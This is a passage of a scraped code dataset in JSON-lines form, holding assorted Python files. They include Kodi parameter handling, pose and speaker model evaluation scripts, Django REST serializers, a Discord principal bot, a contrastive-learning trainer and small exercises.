\"\"\n\t\tif data == None:\n\t\t\tdata = self.param\n\t\tif not type(data) is dict:\n\t\t\tself.debug(\"Parameter [data] must be a dictionary object\", xbmc.LOGERROR)\n\t\t\treturn param\n\t\ttry:\n\t\t\tsep = \"?\"\n\t\t\t# enumerate keys in data\n\t\t\tfor k in data:\n\t\t\t\t# add value to end of existing value\n\t\t\t\tparam += sep + quote_plus(k) + '=' + quote_plus(data[k])\n\t\t\t\tsep = seperator\n\t\texcept:\n\t\t\tparam = None\n\t\treturn param\n\n\tdef count(self):\n\t\treturn len(self.param)\n\n\tdef get(self, name=None, default=None):\n\n\t\tif name == None:\n\t\t\tself.debug(\"Parameter [name] not specified\", xbmc.LOGERROR)\n\t\t\treturn default\n\n\t\t# check to ensure name actually exists\n\t\tif (not name in self.param.keys()):\n\t\t\tself.debug(\"Parameter %s does not exists\" % (name), xbmc.LOGNOTICE)\n\t\t\treturn default\n\n\t\treturn self.param[name]\n\n\tdef has(self, name=None):\n\t\tif not name:\n\t\t\tself.debug(\"Parameter [name] not specified\", xbmc.LOGERROR)\n\t\t\treturn False\n\t\treturn (name in self.param.keys())\n\n\tdef parse(self, data=None, overwrite=False):\n\t\t\n\t\tif data == None:\n\t\t\tself.debug(\"Parameter [data] not specified\", xbmc.LOGERROR)\n\t\t\treturn False\n\n\t\tif len(data) > 1:\n\t\t\t\n\t\t\t# replace unwanted data\n\t\t\tdata = data.replace('?','')\n\t\t\t\n\t\t\t# removeing trailing backslash\n\t\t\tif (data[len(data)-1] == '/'):\n\t\t\t\tdata = data[0:len(data)-2]\t \n\t\t\t\n\t\t\t# enumerate parameters\n\t\t\tfor param in data.split(\"&\"):\n\t\t\t\ttry:\n\t\t\t\t\tkey, value = param.split(\"=\")\n\t\t\t\texcept:\n\t\t\t\t\tkey = param\n\t\t\t\t\tvalue = \"\"\n\t\t\t\t\n\t\t\t\t# store value\n\t\t\t\tself.add(unquote_plus(key), unquote_plus(value), overwrite)\n\n\tdef remove(self, name):\n\t\t\n\t\t# check to ensure name actually exists\n\t\tif (not name in self.param.keys()):\n\t\t\tself.debug(\"Parameter %s does not exists\" % (name), xbmc.LOGNOTICE)\n\t\t\treturn True\n\n\t\t# delete the key\n\t\tdel self.param[name]\n\t\treturn True\n\n\tdef update(self, name=None, value=None):\n\t\tself.add(name, value, True)\n\n####################################################################################################\n\n","sub_path":"resources/lib/parameters.py","file_name":"parameters.py","file_ext":"py","file_size_in_byte":2914,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"580445429","text":"import argparse\nimport configparser\nimport logging\n\nlogger = logging.getLogger(__name__)\n\nimport os\n\nimport cv2\n\ncv2.setNumThreads(0)\n\nfrom matplotlib import pyplot as plt\n\nimport chainer\n\nimport numpy as np\nimport tqdm\n\nfrom pose.hand_dataset.selector import select_dataset\nfrom pose.models.selector import select_model\nfrom pose.hand_dataset.common_dataset import ROOT_IDX\n\nfrom pose.predict import get_result_ppn\n\n\ndef evaluate_ppn(trained, model, dataset, hand_param):\n distances3D = []\n avg_distances3D = []\n max_distances3D = []\n\n distances2D = []\n avg_distances2D = []\n max_distances2D = []\n length = len(dataset)\n\n for idx in tqdm.tqdm(range(length)):\n example = dataset.get_example(idx)\n gt_kp_zyx = example[\"rgb_joint\"]\n gt_kp_vu = example[\"rgb_camera\"].zyx2vu(example[\"rgb_joint\"])\n vmin, umin, vmax, umax = example[\"domain\"]\n inH, inW = model.inH, model.inW\n scaleH = (vmax - vmin) / inH\n scaleW = (umax - umin) / inW\n gt_kp_zyx = gt_kp_zyx - gt_kp_zyx[ROOT_IDX]\n kp_vu, kp_zyx = get_result_ppn(model, dataset, hand_param, idx)\n kp_vu = kp_vu * np.array([scaleH, scaleW])\n gt_kp_vu = gt_kp_vu * np.array([scaleH, scaleW])\n dist_3d = np.sqrt(np.sum(np.square(kp_zyx - gt_kp_zyx), axis=1))\n dist_2d = np.sqrt(np.sum(np.square(kp_vu - gt_kp_vu), axis=1))\n\n distances2D.append(dist_2d)\n avg_distances2D.append(np.mean(dist_2d))\n max_distances2D.append(np.max(dist_2d))\n\n distances3D.append(dist_3d)\n avg_distances3D.append(np.mean(dist_3d))\n max_distances3D.append(np.max(dist_3d))\n\n print(\"2D avg distance per pixel \", np.array(avg_distances2D).mean())\n print(\"3D avg distance [mm] \", np.array(avg_distances3D).mean())\n print(\"3D average max distance [mm] \", np.array(max_distances3D).mean())\n\n # 2D PCK\n distances2D = np.array(distances2D)\n print(distances2D.shape)\n ps = []\n n_joints = model.n_joints\n min_threshold, max_threshold, n_plots = 0, 30, 20\n for threshold in np.linspace(min_threshold, max_threshold, n_plots):\n ratio = np.mean([np.mean(distances2D[:, j] <= threshold) for j in range(n_joints)])\n ps.append(100 * ratio)\n fig = plt.figure()\n ax = fig.add_subplot(111)\n ax.set_xlabel(\"Distance threshold / mm\")\n ax.set_ylabel(\"PCK / %\")\n ax.set_ylim(0, 100)\n ax.set_xlim(0, max_threshold)\n ax.plot(np.linspace(min_threshold, max_threshold, n_plots), ps)\n ax.grid(True, linestyle=\"--\")\n plt.savefig(os.path.join(trained, \"result\", \"plot_PCK_ppn2D.png\"))\n\n # 3D PCK\n distances3D = np.array(distances3D)\n ps = []\n n_joints = model.n_joints\n min_threshold, max_threshold, n_plots = 0, 50, 15\n for threshold in np.linspace(min_threshold, max_threshold, n_plots):\n ratio = np.mean([np.mean(distances3D[:, j] <= threshold) for j in range(n_joints)])\n ps.append(100 * ratio)\n fig = plt.figure()\n ax = fig.add_subplot(111)\n ax.set_xlabel(\"Distance threshold / mm\")\n ax.set_ylabel(\"Fraction of frames with mean below distance / %\")\n ax.set_ylim(0, 100)\n ax.set_xlim(min_threshold, max_threshold)\n ax.plot(np.linspace(min_threshold, max_threshold, n_plots), ps)\n ax.grid(True, linestyle=\"--\")\n plt.savefig(os.path.join(trained, \"result\", \"plot_PCK_ppn3D.png\"))\n\n\ndef main(args):\n logging.basicConfig(level=logging.INFO)\n\n config = configparser.ConfigParser()\n config_path = os.path.join(args.trained, \"result\", \"config.ini\")\n if not os.path.exists(config_path):\n raise Exception(\"config_path {} does not found\".format(config_path))\n logger.info(\"read {}\".format(config_path))\n config.read(config_path, 'UTF-8')\n\n logger.info(\"setup devices\")\n chainer.global_config.autotune = True\n chainer.config.cudnn_fast_batch_normalization = True\n\n logger.info(\"> get dataset {}\".format(args.mode))\n mode_dict = {\n \"train\": \"train_set\",\n \"val\": \"val_set\",\n \"test\": \"test_set\",\n }\n return_type = mode_dict[args.mode]\n\n dataset, hand_param = select_dataset(config, [return_type, \"hand_param\"])\n\n logger.info(\"> hand_param = {}\".format(hand_param))\n model = select_model(config, hand_param)\n\n logger.info(\"> size of dataset is {}\".format(len(dataset)))\n model_path = os.path.expanduser(os.path.join(args.trained, \"result\", \"bestmodel.npz\"))\n\n logger.info(\"> restore model\")\n logger.info(\"> model.device = {}\".format(model.device))\n chainer.serializers.load_npz(model_path, model)\n evaluate_ppn(args.trained, model, dataset, hand_param)\n\n\ndef parse_args():\n parser = argparse.ArgumentParser()\n parser.add_argument(\"trained\", type=str, default=\"./trained\")\n parser.add_argument(\"--debug\", action=\"store_true\")\n parser.add_argument(\"--mode\", default=\"test\")\n parser.add_argument(\"--evaluate\", action=\"store_true\")\n args = parser.parse_args()\n return args\n\n\nif __name__ == '__main__':\n args = parse_args()\n main(args)\n","sub_path":"src/pose/eval_ppn.py","file_name":"eval_ppn.py","file_ext":"py","file_size_in_byte":5016,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"53959487","text":"from rest_framework import serializers\nfrom backend import models\nfrom django.contrib.auth.models import User\n\n# Dirty hack to avoid objects not belonging to logged user to leak through FK's\nclass UserFilteredRelatedField(serializers.PrimaryKeyRelatedField):\n\n def __init__(self, user_field, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.user_field = user_field\n\n def get_queryset(self):\n request = self.context.get('request', None)\n queryset = super().get_queryset()\n if not request or not queryset:\n return None\n filter_args = {self.user_field: request.user}\n return queryset.filter(**filter_args)\n\n# User serializer (for user creation)\nclass UserSerializer(serializers.ModelSerializer):\n\n class Meta:\n model = User\n fields = ('username', 'email', 'password')\n\n def create(self, validated_data):\n user = super().create(validated_data)\n user.set_password(validated_data['password'])\n user.save()\n return user\n\nclass ProjectSerializer(serializers.ModelSerializer):\n\n class Meta:\n model = models.Project\n fields = ('name', 'owner')\n\n owner = serializers.HiddenField(\n default=serializers.CurrentUserDefault()\n )\n\nclass RowsetSerializer(serializers.ModelSerializer):\n\n class Meta:\n model = models.Rowset\n fields = ('type', 'project')\n\n project = UserFilteredRelatedField(user_field=\"owner\",\n queryset=models.Project.objects.all())\n\nclass RowSerializer(serializers.ModelSerializer):\n\n class Meta:\n model = models.Row\n fields = ('content', 'rowset', 'position')\n\n rowset = UserFilteredRelatedField(user_field=\"project__owner\",\n queryset=models.Rowset.objects.all())\n\nclass ResultSerializer(serializers.ModelSerializer):\n\n class Meta:\n model = models.Result\n fields = ('output', 'project')\n \n project = UserFilteredRelatedField(user_field=\"owner\",\n queryset=models.Project.objects.all())\n","sub_path":"backend/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":2116,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"22225590","text":"# 1. build a submit function\nimport vulcan.queue as vq\nfrom optavc.template import TemplateFileProcessor\nfrom optavc.singlepoint import SinglePoint\nfrom optavc.options import Options\nfrom optavc.regex import BagelRegex\n\n\ndef submit(optns):\n vq.submit(optns.queue, optns.program, input=optns.input_name, output=optns.output_name, sync=True)\n\n# 2. build an options object\noptions_kwargs = {\n 'template_file_path': \"template.json\",\n 'energy_regex' : BagelRegex.hf,\n 'success_regex' : \"\",\n 'queue' : \"gen4.q\",\n 'program' : \"bagel@master\",\n 'input_name' : \"input.json\",\n 'output_name' : \"output.dat\",\n 'submitter' : submit,\n 'maxiter' : 20,\n 'findif' : {'points': 3}\n}\noptions_obj = Options(**options_kwargs)\n\ntfp = TemplateFileProcessor(open('template.json').read(), options_obj)\n\nsinglepoint_obj = SinglePoint(tfp.molecule, tfp.input_file_object, options_obj, path=\"SP\")\nsinglepoint_obj.write_input()\nsinglepoint_obj.run()\nprint(singlepoint_obj.get_energy_from_output())\n","sub_path":"vulcan_examples/singlepoint/bagel/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1072,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"286855121","text":"from pathlib import Path\n\nimport miniflask # noqa: E402\n\nmf = miniflask.init(\n module_dirs=str(Path(__file__).parent / \"modules\"),\n debug=True\n)\n\n\ndef test_exception_event():\n mf.load(\"module1\")\n mf.register_event(\"main\", lambda: print(\"Main.\"))\n mf.run(argv=[])\n","sub_path":"util/miniflask/tests/exception_event/test_exception_event.py","file_name":"test_exception_event.py","file_ext":"py","file_size_in_byte":279,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"89141270","text":"import os\nimport random\nimport numpy as np\n\nimport tensorboardX\nfrom tensorboardX import SummaryWriter\n\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torch import optim\nfrom torch.utils.data import Dataset, DataLoader\n\nimport options as opt\nfrom data_load import Mydataset\nfrom model import DeepSpeakerModel\nfrom audio_fbank import read_mfcc, sample_from_mfcc\n\nimport tensorflow as tf\n\nimport tqdm\n\nif (__name__=='__main__'):\n torch.manual_seed(55)\n torch.cuda.manual_seed_all(55)\n\nif (__name__=='__main__'):\n model = DeepSpeakerModel(embedding_size=opt.embedding_size,\n num_classes=opt.classes).cuda()\n writer = SummaryWriter()\n\n if (hasattr(opt, 'weights')):\n pretrained_dict = torch.load(opt.weights)\n model_dict = model.state_dict()\n pretrained_dict = {k:v for k,v in pretrained_dict.items() if k in model_dict.keys() and v.size() == model_dict[k].size()}\n missed_params = [k for k,v in model_dict.items() if not k in pretrained_dict.keys()]\n\n print('loaded params/tot params:{}/{}'.format(len(pretrained_dict), len(model_dict)))\n print('miss matched params:{}'.format(missed_params))\n\n model_dict.update(pretrained_dict)\n model.load_state_dict(model_dict)\n\n train_dataset = Mydataset(opt.data_path, 'train')\n train_loader = DataLoader(train_dataset, batch_size=opt.batch_size, num_workers=opt.num_workers, drop_last=False, shuffle=True)\n\n test_dataset = Mydataset(opt.data_path, 'test')\n test_loader = DataLoader(test_dataset, batch_size=opt.batch_size, num_workers=opt.num_workers, drop_last=False, shuffle=True)\n\n criterion = nn.CrossEntropyLoss()\n\n optimizer = optim.Adam(model.parameters(), lr=opt.lr)\n\n iteration = 0\n best_acc = 0\n test_corr = 0\n test_all = 0\n\n for epoch in range(0,1):\n if epoch % 2 == 0:\n with torch.no_grad():\n for j, batch in enumerate(test_loader):\n inputs, targets = batch[0].cuda(), batch[1].cuda()\n outputs = model(inputs)\n _, preds = torch.max(F.softmax(outputs, dim=1).data, 1)\n\n test_corr += torch.sum(preds==targets.data)\n test_all += len(inputs)\n print('{} iteration for test acc {}'.format(j, test_corr.item()/test_all))\n #if j == 10:\n # break\n \n test_acc = test_corr.item() / test_all\n print('test_acc: ', test_acc)\n writer.add_scalar('data/test_acc', test_acc, epoch)\n\n if test_acc >= 0.95:\n savename = os.path.join(opt.save_dir, 'olr_{}_epoch_test_acc_{}.pt'.format(epoch, test_acc))\n torch.save(model.state_dict(), savename)\n\n\n","sub_path":"olr_deepspeaker_pytorch/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":2796,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"420259375","text":"# -*- coding: utf-8 -*-\nimport AbstractClasses\nimport os\nimport cgi\n\nclass TestResult(AbstractClasses.GeneralTestResult.GeneralTestResult):\n def CustomInit(self):\n self.Name = 'CMSPixel_QualificationGroup_OnShellQuickTest_Logfile_LogfileView_TestResult'\n self.NameSingle = 'LogfileView'\n self.Attributes['TestedObjectType'] = 'CMSPixel_QualificationGroup_OnShellQuickTest_Module'\n self.sizeLimit = 5*1024*1024\n\n def PopulateResultData(self):\n LogfileName = self.ParentObject.ParentObject.logfilePath\n if LogfileName:\n if os.path.isfile(LogfileName):\n if os.path.getsize(LogfileName) < self.sizeLimit:\n try:\n with open(LogfileName) as Logfile:\n Lines = Logfile.readlines()\n except:\n Lines = [\"ERROR: could not open '%s'\"%LogfileName]\n else:\n Lines = [\"ERROR: log file too large '%s'. Max allowed: %s Bytes\"%(LogfileName, self.sizeLimit)]\n\n LinesFormatted = []\n for Line in Lines:\n escapedLine = cgi.escape(Line)\n if 'CRITICAL:' in Line:\n escapedLine = \"<div style='display:inline;background-color:#f66;'>\" + escapedLine + \"</div>\"\n if 'ERROR:' in Line:\n escapedLine = \"<div style='display:inline;background-color:#f96;'>\" + escapedLine + \"</div>\"\n if 'WARNING:' in Line:\n escapedLine = \"<div style='display:inline;background-color:#ff6;'>\" + escapedLine + \"</div>\"\n LinesFormatted.append(escapedLine)\n\n HTML = \"<div style='font-family:\\\"Courier New\\\";'>\" + '<br>'.join(LinesFormatted) + \"</div>\"\n self.ResultData['HTMLContent'] = HTML\n\n\n","sub_path":"Analyse/TestResultClasses/CMSPixel/QualificationGroup/OnShellQuickTest/Logfile/LogfileView/LogfileView.py","file_name":"LogfileView.py","file_ext":"py","file_size_in_byte":1879,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"352695829","text":"#!/opt/bb/bin/bbpy2.7\n\nfrom copy import deepcopy\nimport string\ncharset = string.ascii_lowercase\n\n\ninput_str = raw_input().strip()\nN = len(input_str)\nMOD = (10 ** 9 + 7)\n\n\n\nall_counts = {}\nfor x in charset:\n all_counts[x] = 0\n \nfor ind in xrange(N):\n all_counts[input_str[ind]] += 1\n\nall_counts2 = deepcopy(all_counts)\npostcounts = {}\nfor indmain in xrange(N):\n c = input_str[indmain]\n postcounts[indmain] = {} \n for x in charset:\n this_count = 0\n count_x = all_counts2[x]\n if x == c:\n continue\n if count_x == 0:\n continue\n for ind in xrange(indmain+1, N):\n if input_str[ind] == c:\n this_count += count_x\n elif input_str[ind] == x:\n count_x =- 1\n postcounts[indmain][x] = this_count \n all_counts2[c] -= 1\n \n\"\"\"\nprint \"input = {}\".format(input_str)\nprint \"all_counts = {}\".format(all_counts)\nprint \"all_counts2 = {}\".format(all_counts2)\nprint \"postcounts={}\".format(postcounts)\n\"\"\"\n \nprecounts = {}\noverall_count = 0\nfor indmain in xrange(N):\n char2 = input_str[indmain]\n \n for char1 in precounts:\n if char1 == char2:\n continue\n\n precount = precounts[char1]\n postcount = postcounts[indmain].get(char1,0) \n overall_count += ((precount * postcount) % MOD)\n\n if char2 in precounts:\n precounts[char2] += 1\n else:\n precounts[char2] = 1\n\nfor char in all_counts:\n M = all_counts[char] \n if M >= 4:\n overall_count += M*(M-1)*(M-2)*(M-3)/24\n \n\nprint (overall_count % MOD)\n \n \n\n\n\n\n\n\n \n \n \n \n\n \n","sub_path":"algorithms/search/short_palindrome/sol3.py","file_name":"sol3.py","file_ext":"py","file_size_in_byte":1683,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"111206764","text":"'''\ndolphin name service based on redis\n'''\n\n__all__ = ['get_broker']\n\nimport os\nimport weakref\n\nfrom .exceptions import DolphinError\n\nAUTO = '__auto__'\n\n__BROKERS = weakref.WeakValueDictionary()\n\ndef get_broker(url=AUTO):\n global __BROKERS\n url = get_broker_url(url)\n if url in __BROKERS:\n return __BROKERS[url]\n\n if url.startswith(\"redis://\"):\n from .redis_broker import Broker\n else:\n from .dolphin_broker import Broker\n broker = Broker(url)\n __BROKERS[url] = broker\n return broker\n\ndef get_broker_url(url=AUTO):\n if url == AUTO:\n try:\n return os.environ['DOLPHIN_BROKER']\n except KeyError:\n url = None\n if url is None:\n raise DolphinError('cannot determine broker url')\n return url\n\n","sub_path":"dolphin/broker.py","file_name":"broker.py","file_ext":"py","file_size_in_byte":784,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"603628187","text":"from discord.ext import commands\nimport asyncio\nfrom enum import Enum, auto\nfrom dataclasses import dataclass\n\nclass Moods(Enum):\n ENCOURAGING = auto()\n DISCIPLINARY = auto()\n\n def flip(self):\n if self == self.ENCOURAGING:\n return self.DISCIPLINARY\n return self.ENCOURAGING\n\nclass State(Enum):\n NONE = auto()\n QUERY_PURPOSE = auto()\n DISPENSE_RESPONSE = auto()\n DISMISSIVE = auto()\n SILENT = auto()\n\n def next(self):\n v = self.value + 1\n if v > self.SILENT.value:\n v = self.SILENT.value\n return State(v)\n\n@dataclass\nclass StudentConvo:\n mood: Moods \n state: State = State.QUERY_PURPOSE\n\n def next(self):\n self.state = self.state.next()\n\n###############################\nclass PrincipalConversationalist(commands.Cog):\n def __init__(self, bot):\n self.bot = bot\n self.memory = {}\n self.mood = Moods.ENCOURAGING\n\n @commands.command(\n description=\"\"\"\n mood good|bad - Sets Mr. Brown's mood to good|bad\n mood flip - Toggles Mr. Brown's mood\n mood - Mr. Brown responds with his current mood\n \"\"\"\n )\n async def mood(self, ctx, arg=None):\n if arg == None:\n await ctx.send(str(self.mood), delete_after=2.0)\n elif arg.lower() == \"good\":\n self.mood = Moods.ENCOURAGING\n elif arg.lower() == \"bad\":\n self.mood = Moods.DISCIPLINARY\n elif arg.lower() == \"flip\":\n self.mood = self.mood.flip()\n else:\n await ctx.send(f\"I'm sorry I don't understand *{ctx.message.content}*\", delete_after=5.0)\n await ctx.message.delete(delay=5.0)\n\n\n async def _forget_user(self, user):\n await asyncio.sleep(30)\n self.memory.pop(user)\n\n\n def is_command(self, message):\n prefixes = self.bot.command_prefix(self.bot, message)\n if message.content.startswith(tuple(prefixes)):\n return True\n return False\n\n\n @commands.Cog.listener()\n async def on_message(self, message):\n if message.author == self.bot.user:\n return\n\n if str(message.channel) != 'principals-office':\n return\n\n if self.is_command(message):\n return\n\n name = message.author.nick or message.author.name\n student_convo = self.memory.get(message.author.id, StudentConvo(self.mood))\n \n if student_convo.state == State.QUERY_PURPOSE:\n await message.channel.send(f\"Hello, {name}. What are you here for?\")\n \n elif student_convo.state == State.DISPENSE_RESPONSE:\n if student_convo.mood == Moods.ENCOURAGING:\n await message.channel.send(f\"I believe in you, {name}. I know you can achieve your goals, and that you are a good person with value. I love you. Have a Good Day!\")\n elif student_convo.mood == Moods.DISCIPLINARY:\n await message.channel.send(f\"I'm very disappointed in you, {name}. I expect better from you. Please do better, and don't do this again. Good day to you!\")\n \n \n asyncio.create_task(self._forget_user(message.author.id))\n \n elif student_convo.state == State.DISMISSIVE:\n await message.channel.send('I said, \"Good Day!\"')\n\n elif student_convo.state == State.SILENT:\n ''' This should never happen, but in case we get here... '''\n asyncio.create_task(self._forget_user(message.author.id))\n\n student_convo.next()\n self.memory[message.author.id] = student_convo\n\n\n\n @commands.command(\n description=\"\"\"\n memory - Dumps the contents of Mr. Brown's Memory\n \"\"\"\n )\n async def memory(self, ctx, arg=None):\n if arg == None:\n await ctx.send(str(self.memory), delete_after=60.0)\n await ctx.message.delete(delay=5.0)\n\n\n\ndef setup(bot):\n bot.add_cog(PrincipalConversationalist(bot))\n","sub_path":"cogs/principal_conversationalist.py","file_name":"principal_conversationalist.py","file_ext":"py","file_size_in_byte":3596,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"567207070","text":"import argparse\nimport os\nimport sys\n\nfrom pytorch_lightning import Trainer, seed_everything\nfrom pytorch_lightning.callbacks import LearningRateMonitor\nfrom pytorch_lightning.loggers import WandbLogger\n\nfrom models.simclr import SimCLR\nfrom models.dali import DaliSimCLR, DaliBarlowTwins, DaliSimSiam\nfrom models.barlow_twins import BarlowTwins\nfrom models.simsiam import SimSiam\n\nsys.path.append(os.path.dirname(os.path.dirname(os.path.realpath(__file__))))\n\nfrom utils.contrastive_dataloader import prepare_data, prepare_data_multicrop\nfrom utils.epoch_checkpointer import EpochCheckpointer\nfrom utils.classification_dataloader import prepare_data as prepare_data_classification\n\n\ndef parse_args():\n SUPPORTED_DATASETS = [\n \"cifar10\",\n \"cifar100\",\n \"stl10\",\n \"imagenet\",\n \"imagenet100\",\n ]\n SUPPORTED_NETWORKS = [\"resnet18\", \"resnet50\"]\n\n SUPPORTED_OPTIMIZERS = [\"sgd\", \"adam\"]\n SUPPORTED_SCHEDULERS = [\n \"reduce\",\n \"cosine\",\n \"warmup_cosine\",\n \"step\",\n \"exponential\",\n \"none\",\n ]\n\n parser = argparse.ArgumentParser()\n parser.add_argument(\"dataset\", choices=SUPPORTED_DATASETS, type=str)\n parser.add_argument(\"encoder\", choices=SUPPORTED_NETWORKS, type=str)\n\n parser.add_argument(\"--method\", choices=[\"simclr\", \"barlow_twins\", \"simsiam\"], default=\"simclr\")\n\n # optimizer\n parser.add_argument(\"--optimizer\", default=\"sgd\", choices=SUPPORTED_OPTIMIZERS, type=str)\n parser.add_argument(\"--lars\", action=\"store_true\")\n\n # scheduler\n parser.add_argument(\"--scheduler\", choices=SUPPORTED_SCHEDULERS, type=str, default=\"reduce\")\n parser.add_argument(\"--lr_decay_steps\", default=None, type=int, nargs=\"+\")\n parser.add_argument(\"--no_lr_scheduler_for_pred_head\", action=\"store_true\")\n\n # general settings\n parser.add_argument(\"--epochs\", type=int, default=100)\n parser.add_argument(\"--batch_size\", type=int, default=128)\n parser.add_argument(\"--lr\", type=float, default=0.3)\n parser.add_argument(\"--classifier_lr\", type=float, default=0.3)\n parser.add_argument(\"--weight_decay\", type=float, default=0.0001)\n parser.add_argument(\"--zero_init_residual\", action=\"store_true\")\n\n # projection head\n parser.add_argument(\"--encoding_size\", type=int, default=128)\n parser.add_argument(\"--hidden_mlp\", type=int, default=2048)\n parser.add_argument(\"--no_projection_bn\", action=\"store_true\")\n\n # extra training settings\n parser.add_argument(\"--resume_training_from\", type=str)\n parser.add_argument(\"--num_workers\", type=int, default=4)\n parser.add_argument(\"--gpus\", type=int, nargs=\"+\")\n parser.add_argument(\"--precision\", type=int, default=16)\n\n # dataset path\n parser.add_argument(\"--data_folder\", default=None)\n parser.add_argument(\"--train_dir\", default=None)\n parser.add_argument(\"--val_dir\", default=None)\n\n # extra dataloader settings\n parser.add_argument(\"--multicrop\", action=\"store_true\")\n parser.add_argument(\"--n_crops\", type=int, default=2)\n parser.add_argument(\"--n_small_crops\", type=int, default=6)\n parser.add_argument(\"--dali\", action=\"store_true\")\n parser.add_argument(\"--last_batch_fill\", action=\"store_true\")\n parser.add_argument(\"--brightness\", type=float, default=0.8)\n parser.add_argument(\"--contrast\", type=float, default=0.8)\n parser.add_argument(\"--saturation\", type=float, default=0.8)\n parser.add_argument(\"--hue\", type=float, default=0.2)\n\n # extra simclr settings\n parser.add_argument(\"--temperature\", type=float, default=0.1)\n parser.add_argument(\"--supervised\", action=\"store_true\")\n\n # extra barlow twins settings\n parser.add_argument(\"--lamb\", type=float, default=5e-3)\n\n # extra simsiam settings\n parser.add_argument(\"--pred_hidden_mlp\", type=int, default=512)\n\n # wandb\n parser.add_argument(\"--name\")\n parser.add_argument(\"--project\")\n\n args = parser.parse_args()\n\n if args.dataset == \"cifar10\":\n args.n_classes = 10\n elif args.dataset == \"cifar100\":\n args.n_classes = 100\n elif args.dataset == \"stl10\":\n args.n_classes = 10\n elif args.dataset == \"imagenet\":\n args.n_classes = 1000\n elif args.dataset == \"imagenet100\":\n args.n_classes = 100\n\n args.cifar = True if args.dataset in [\"cifar10\", \"cifar100\"] else False\n\n args.extra_optimizer_args = {}\n if args.optimizer == \"sgd\":\n args.extra_optimizer_args[\"momentum\"] = 0.9\n\n # adjust lr according to batch size\n args.lr = args.lr * args.batch_size * len(args.gpus) / 256\n\n args.projection_bn = not args.no_projection_bn\n\n return args\n\n\ndef main():\n seed_everything(5)\n\n args = parse_args()\n\n if args.method == \"simclr\":\n if args.dali:\n model = DaliSimCLR(args)\n else:\n model = SimCLR(args)\n elif args.method == \"barlow_twins\":\n if args.dali:\n model = DaliBarlowTwins(args)\n else:\n model = BarlowTwins(args)\n else:\n if args.dali:\n model = DaliSimSiam(args)\n else:\n model = SimSiam(args)\n\n # contrastive dataloader\n if not args.dali:\n if args.multicrop:\n train_loader, _ = prepare_data_multicrop(\n args.dataset,\n data_folder=args.data_folder,\n train_dir=args.train_dir,\n val_dir=args.val_dir,\n batch_size=args.batch_size,\n num_workers=args.num_workers,\n nmb_crops=[args.n_crops, args.n_small_crops],\n consensus=False,\n )\n else:\n train_loader, _ = prepare_data(\n args.dataset,\n data_folder=args.data_folder,\n train_dir=args.train_dir,\n val_dir=args.val_dir,\n n_augs=2,\n brightness=args.brightness,\n contrast=args.contrast,\n saturation=args.saturation,\n hue=args.hue,\n batch_size=args.batch_size,\n num_workers=args.num_workers,\n )\n\n # normal dataloader\n _, val_loader = prepare_data_classification(\n args.dataset,\n data_folder=args.data_folder,\n train_dir=args.train_dir,\n val_dir=args.val_dir,\n batch_size=args.batch_size,\n num_workers=args.num_workers,\n )\n\n # wandb logging\n wandb_logger = WandbLogger(name=args.name, project=args.project)\n wandb_logger.watch(model, log=\"gradients\", log_freq=100)\n wandb_logger.log_hyperparams(args)\n\n callbacks = []\n # lr logging\n callbacks.append(LearningRateMonitor(logging_interval=\"epoch\"))\n\n # epoch checkpointer\n callbacks.append(EpochCheckpointer(args, frequency=25))\n\n trainer = Trainer(\n max_epochs=args.epochs,\n gpus=[*args.gpus],\n logger=wandb_logger,\n distributed_backend=\"ddp\",\n precision=args.precision,\n sync_batchnorm=True,\n resume_from_checkpoint=args.resume_training_from,\n callbacks=callbacks,\n )\n if args.dali:\n trainer.fit(model, val_dataloaders=val_loader)\n else:\n trainer.fit(model, train_loader, val_loader)\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"main_contrastive.py","file_name":"main_contrastive.py","file_ext":"py","file_size_in_byte":7236,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"377739171","text":"\r\n\"\"\"random walk and matplotlib\"\"\"\r\nimport random\r\nimport numpy as np \r\nimport matplotlib.pyplot as plt\r\n#an empty pythin list to store each random number\r\nstep=[]\r\n\r\nfor rand in range(1000):\r\n dice1=np.random.randint(1,7)\r\n dice2=np.random.randint(1,7)\r\n step.append(dice1+dice2)\r\n\r\nprint (step)\r\nmean=np.mean(step)\r\nprint(\"---------------------------------\\n\")\r\nprint(\"el valor medio mas probable de la suma es: \" + str(mean))\r\nplt.hist(step)\r\nplt.show() \r\n","sub_path":"random_walk.py","file_name":"random_walk.py","file_ext":"py","file_size_in_byte":471,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"175736830","text":"def sendNow():\n\tuser = input('masukkan nama anda')\n\twarehousing = {\n\t\t'harga':1000000,\n\t\t'total':15\n\t}\n\tcleansing = {\n\t\t'harga':1500000,\n\t\t'total':10\n\t}\n\tintegration = {\n\t\t'harga':2000000,\n\t\t'total':15\n\t}\n\ttransformation = {\n\t\t'harga':2500000,\n\t\t'total':10\n\t}\n\tsub_warehousing = warehousing['harga'] * warehousing['total']\n\tsub_cleansing = cleansing['harga'] * cleansing['total']\n\tsub_integration = integration['harga'] * integration['total']\n\tsub_transformation = transformation['harga'] * transformation['total']\n\tsub_total = sub_warehousing + sub_cleansing + sub_integration + sub_transformation\n\tprint('Tagihan Kepada:', user)\n\tprint(\"Selamat pagi, anda harus membayar tagihan 